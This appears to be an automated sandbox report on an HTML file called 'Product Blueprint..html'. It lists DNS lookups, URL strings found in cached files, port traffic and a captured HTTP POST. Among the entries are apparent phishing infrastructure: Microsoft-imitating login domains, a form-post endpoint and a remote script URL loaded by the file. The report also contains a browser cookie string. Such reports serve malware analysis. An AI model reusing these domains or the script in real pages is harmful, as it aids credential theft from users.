esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3uGF_ewTku8Ae7AAQAAALBC6t4OAAAA; MicrosoftApplicationsTelemetryDeviceId=c0addcc0-f568-4458-8b8f-a285f038f445; brcap=0; ai_session=p2ONN3yBwIyLq/oWfSPLo9\|1733839814743\|1733839814743; MSFPC=GUID=66515b7790244a858f61fc5d83bbd54d&HASH=6651&LV=202412&V=4&LU=1733839821279

Source: global traffic	DNS traffic detected: DNS query: ajax.aspnetcdn.com
Source: global traffic	DNS traffic detected: DNS query: easycdn.cdn78drop.click
Source: global traffic	DNS traffic detected: DNS query: autenticatorresolver.online
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: login.mslookupauthenticator.click
Source: global traffic	DNS traffic detected: DNS query: www.mslookupauthenticator.click
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: dpm.demdex.net
Source: global traffic	DNS traffic detected: DNS query: mscom.demdex.net
Source: global traffic	DNS traffic detected: DNS query: msftenterprise.sc.omtrdc.net
Source: global traffic	DNS traffic detected: DNS query: cm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: idsync.rlcdn.com
Source: global traffic	DNS traffic detected: DNS query: cm.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: rtd.tubemogul.com
Source: global traffic	DNS traffic detected: DNS query: idpix.media6degrees.com
Source: global traffic	DNS traffic detected: DNS query: analytics.twitter.com
Source: global traffic	DNS traffic detected: DNS query: match.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: cms.quantserve.com
Source: global traffic	DNS traffic detected: DNS query: rtd-tm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: servedby.flashtalking.com
Source: global traffic	DNS traffic detected: DNS query: a.tribalfusion.com
Source: global traffic	DNS traffic detected: DNS query: cms.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: px.owneriq.net
Source: global traffic	DNS traffic detected: DNS query: jadserve.postrelease.com
Source: global traffic	DNS traffic detected: DNS query: ds.reson8.com
Source: global traffic	DNS traffic detected: DNS query: bttrack.com
Source: global traffic	DNS traffic detected: DNS query: s.tribalfusion.com
Source: global traffic	DNS traffic detected: DNS query: dmpsync.3lift.com
Source: global traffic	DNS traffic detected: DNS query: ups.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: ag.innovid.com
Source: global traffic	DNS traffic detected: DNS query: rtb.adentifi.com
Source: global traffic	DNS traffic detected: DNS query: sync.crwdcntrl.net
Source: global traffic	DNS traffic detected: DNS query: sync-tm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: pixel.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: dsum-sec.casalemedia.com
Source: global traffic	DNS traffic detected: DNS query: us-u.openx.net
Source: global traffic	DNS traffic detected: DNS query: trc.taboola.com
Source: global traffic	DNS traffic detected: DNS query: image2.pubmatic.com
Source: global traffic	DNS traffic detected: DNS query: sync.srv.stackadapt.com
Source: global traffic	DNS traffic detected: DNS query: sync.search.spotxchange.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com

Source: unknown

HTTP traffic detected: POST /fwd/api HTTP/1.1Host: autenticatorresolver.onlineConnection: keep-aliveContent-Length: 382sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: */*Origin: https://autenticatorresolver.onlineSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://autenticatorresolver.online/fl/ryzm5vdiAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not Found

Source: chromecache_188.2.dr, chromecache_156.2.dr	String found in binary or memory: http://docs.jquery.com/Tutorials:Introducing_$(document).ready()
Source: chromecache_197.2.dr, chromecache_149.2.dr	String found in binary or memory: http://github.com/requirejs/almond/LICENSE
Source: chromecache_188.2.dr, chromecache_156.2.dr	String found in binary or memory: http://jquery.malsup.com/cycle/
Source: chromecache_188.2.dr, chromecache_156.2.dr	String found in binary or memory: http://jquery.malsup.com/license.html
Source: chromecache_182.2.dr, chromecache_172.2.dr, chromecache_216.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_182.2.dr, chromecache_172.2.dr, chromecache_216.2.dr	String found in binary or memory: http://jquerymobile.com/
Source: chromecache_249.2.dr, chromecache_258.2.dr, chromecache_175.2.dr, chromecache_168.2.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_188.2.dr, chromecache_156.2.dr	String found in binary or memory: http://malsup.com/jquery/cycle/
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: http://schema.org/Organization
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: http://stackoverflow.com/questions/5908494/select-only-shows-first-char-of-selected-option)
Source: chromecache_188.2.dr, chromecache_156.2.dr	String found in binary or memory: http://tinyurl.com/da2oa9
Source: chromecache_180.2.dr, chromecache_189.2.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf)
Source: chromecache_188.2.dr, chromecache_156.2.dr	String found in binary or memory: http://www.gnu.org/licenses/gpl.html
Source: chromecache_182.2.dr	String found in binary or memory: http://www.jqtouch.com/
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: http://www.json.org/json2.js
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: http://www.matts411.com/post/setting_the_name_attribute_in_ie_dom/
Source: chromecache_188.2.dr, chromecache_156.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_249.2.dr, chromecache_258.2.dr, chromecache_175.2.dr, chromecache_168.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://accessadvance.com/hevc-advance-patent-list/
Source: chromecache_221.2.dr	String found in binary or memory: https://account.live.com/closeaccount.aspx
Source: Product Blueprint..html	String found in binary or memory: https://ajax.aspnetcdn.com/ajax/jquery.cycle/2.88/jquery.cycle.all.js
Source: Product Blueprint..html	String found in binary or memory: https://ajax.aspnetcdn.com/ajax/jquery.mobile/1.0b3/jquery.mobile-1.0b3.css
Source: Product Blueprint..html	String found in binary or memory: https://ajax.aspnetcdn.com/ajax/jquery.mobile/1.0b3/jquery.mobile-1.0b3.min.js
Source: Product Blueprint..html	String found in binary or memory: https://ajax.aspnetcdn.com/ajax/knockout/knockout-2.2.1.debug.js
Source: Product Blueprint..html	String found in binary or memory: https://ajax.aspnetcdn.com/ajax/respond/1.4.2/respond.min.js
Source: chromecache_221.2.dr	String found in binary or memory: https://aka.ms/redeemrewards
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://aka.ms/reportconcerns
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://aka.ms/reportconcerns).
Source: chromecache_221.2.dr	String found in binary or memory: https://aka.ms/taxservice
Source: chromecache_221.2.dr	String found in binary or memory: https://aka.ms/trustandsafety
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://aka.ms/trustandsafety)
Source: chromecache_221.2.dr	String found in binary or memory: https://aka.ms/useterms
Source: chromecache_221.2.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_150.2.dr, chromecache_191.2.dr	String found in binary or memory: https://api.company-target.com/api/v2/ip.json?key=70aff8023e038d56ea636f68e5c5922b
Source: chromecache_237.2.dr, chromecache_169.2.dr	String found in binary or memory: https://axios-http.com
Source: chromecache_243.2.dr, chromecache_242.2.dr	String found in binary or memory: https://breeze.aimon.applicationinsights.io
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=12681
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=3334
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://bugzil.la/548397
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=277178
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=308064
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://cdnssl.clicktale.net/www32/ptc/05d32363-d534-4d93-9b65-cde674775e71.js
Source: chromecache_243.2.dr, chromecache_242.2.dr	String found in binary or memory: https://dc-int.services.visualstudio.com
Source: chromecache_243.2.dr, chromecache_242.2.dr	String found in binary or memory: https://dc.services.visualstudio.com
Source: chromecache_253.2.dr	String found in binary or memory: https://dev.azure.com/mscomdev/Moray/_workitems/edit/4494
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/key/Key_Values
Source: Product Blueprint..html	String found in binary or memory: https://easycdn.cdn78drop.click/hookie/yqowep/yonders.js
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://elad.medium.com/css-position-sticky-how-it-really-works-54cd01dc2d46
Source: chromecache_138.2.dr, chromecache_207.2.dr, chromecache_167.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_205.2.dr, chromecache_239.2.dr	String found in binary or memory: https://gethatch.com/?utm_source
Source: chromecache_205.2.dr, chromecache_239.2.dr	String found in binary or memory: https://gethatch.com/resources/images/hatch-logo.svg
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/SteveSanderson/knockout/issues/122
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/SteveSanderson/knockout/issues/134)
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/SteveSanderson/knockout/issues/155
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/SteveSanderson/knockout/issues/186)
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/SteveSanderson/knockout/issues/197
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/SteveSanderson/knockout/issues/209
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/SteveSanderson/knockout/issues/312
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/SteveSanderson/knockout/issues/406
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/SteveSanderson/knockout/issues/490
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/SteveSanderson/knockout/issues/523)
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/SteveSanderson/knockout/pull/333)
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/SteveSanderson/knockout/pull/352
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/SteveSanderson/knockout/pull/387
Source: chromecache_249.2.dr, chromecache_168.2.dr	String found in binary or memory: https://github.com/SteveSanderson/knockout/pull/440
Source: chromecache_237.2.dr, chromecache_169.2.dr	String found in binary or memory: https://github.com/axios/axios.git
Source: chromecache_237.2.dr, chromecache_169.2.dr	String found in binary or memory: https://github.com/axios/axios/issues
Source: chromecache_148.2.dr, chromecache_220.2.dr	String found in binary or memory: https://github.com/carhartl/jquery-cookie
Source: chromecache_258.2.dr, chromecache_175.2.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://github.com/es-shims/es5-shim/issues/150
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://github.com/kitcambridge/es5-shim/commit/4f738ac066346
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://github.com/mozilla/rhino/issues/346
Source: chromecache_209.2.dr, chromecache_199.2.dr	String found in binary or memory: https://github.com/scottjehl/Respond/blob/master/LICENSE-MIT
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://github.com/tc39/proposal-array-filtering
Source: chromecache_138.2.dr, chromecache_207.2.dr, chromecache_167.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_138.2.dr, chromecache_207.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://github.com/w3c/aria-practices/pull/1757
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://github.com/zloirock/core-js
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://github.com/zloirock/core-js/blob/v3.26.0/LICENSE
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://github.com/zloirock/core-js/blob/v3.27.2/LICENSE
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://github.com/zloirock/core-js/issues/1128
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://github.com/zloirock/core-js/issues/1130
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://github.com/zloirock/core-js/issues/475
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://github.com/zloirock/core-js/issues/677
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://github.com/zloirock/core-js/issues/86#issuecomment-115759028
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://javascript.info/size-and-scroll-window#width-height-of-the-document
Source: chromecache_255.2.dr, chromecache_229.2.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_255.2.dr, chromecache_229.2.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_255.2.dr, chromecache_229.2.dr	String found in binary or memory: https://js.foundation/
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://keycode.info/table-of-all-keycodes
Source: chromecache_260.2.dr, chromecache_187.2.dr	String found in binary or memory: https://login.live.com/Me.srf?wa
Source: chromecache_162.2.dr, chromecache_143.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_260.2.dr, chromecache_187.2.dr	String found in binary or memory: https://login.microsoftonline.com/forgetuser
Source: chromecache_260.2.dr, chromecache_187.2.dr	String found in binary or memory: https://login.microsoftonline.com/savedusers?appid
Source: chromecache_187.2.dr	String found in binary or memory: https://login.microsoftonline.com/uxlogout?appid
Source: chromecache_162.2.dr, chromecache_143.2.dr	String found in binary or memory: https://login.windows-ppe.net
Source: chromecache_237.2.dr, chromecache_169.2.dr	String found in binary or memory: https://microsoftit.pkgs.visualstudio.com/OneITVSO/_packaging/CSM-SITES-AEMFoundations/npm/registry/
Source: chromecache_221.2.dr	String found in binary or memory: https://secure.skype.com/en/skype-number/
Source: chromecache_255.2.dr, chromecache_229.2.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_221.2.dr	String found in binary or memory: https://skype.com/go/myaccount
Source: chromecache_221.2.dr	String found in binary or memory: https://support.xbox.com/en-US/help/subscriptions-billing/manage-subscriptions/xbox-subscription-ina
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot-aec
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype-
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.every
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.filter
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.find
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.findIndex
Source: chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.foreach
Source: chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.includes
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.indexof
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.map
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.push
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.some
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.splice
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-arrayspeciescreate
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-getmethod
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-hasownproperty
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-isarray
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-iscallable
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-isconstructor
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-isregexp
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-lengthofarraylike
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-math.trunc
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.create
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.defineproperties
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.defineproperty
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.entries
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.getownpropertydescriptor
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.getownpropertynames
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.keys
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.prototype.propertyisenumerable
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.prototype.tostring
Source: chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.values
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-ordinarytoprimitive
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-parseint-string-radix
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-requireobjectcoercible
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-string.prototype.includes
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-string.prototype.trim
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-string.prototype.trimend
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-string.prototype.trimstart
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-tointegerorinfinity
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-tolength
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-toobject
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-toprimitive
Source: chromecache_151.2.dr, chromecache_253.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-topropertykey
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.adr.org
Source: chromecache_221.2.dr	String found in binary or memory: https://www.google.com/intl/en_ALL/help/terms_maps.html
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.mpegla.com
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.mpegla.com).
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.skype.com
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.skype.com).
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.skype.com/en/
Source: chromecache_221.2.dr	String found in binary or memory: https://www.skype.com/go/allrates
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.skype.com/go/emergency.
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.skype.com/go/legal
Source: chromecache_221.2.dr	String found in binary or memory: https://www.skype.com/go/legal.broadcast
Source: chromecache_221.2.dr	String found in binary or memory: https://www.skype.com/go/store.reactivate.credit
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.skype.com/go/ustax
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.xbox.com/
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.xbox.com/en-us/games/store/pc-game-pass/cfq7ttc0kgq8?icid=CNavAllPCGamePass
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.xbox.com/en-us/games/store/xbox-game-pass-ultimate/cfq7ttc0khs0?icid=CNavAllXboxGamePass
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.xbox.com/en-us/legal/subscription-terms
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.xbox.com/en-us/legal/subscription-terms).
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.xbox.com/xbox-game-studios
Source: chromecache_225.2.dr, chromecache_221.2.dr	String found in binary or memory: https://www.xbox.com/xbox-game-studios)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
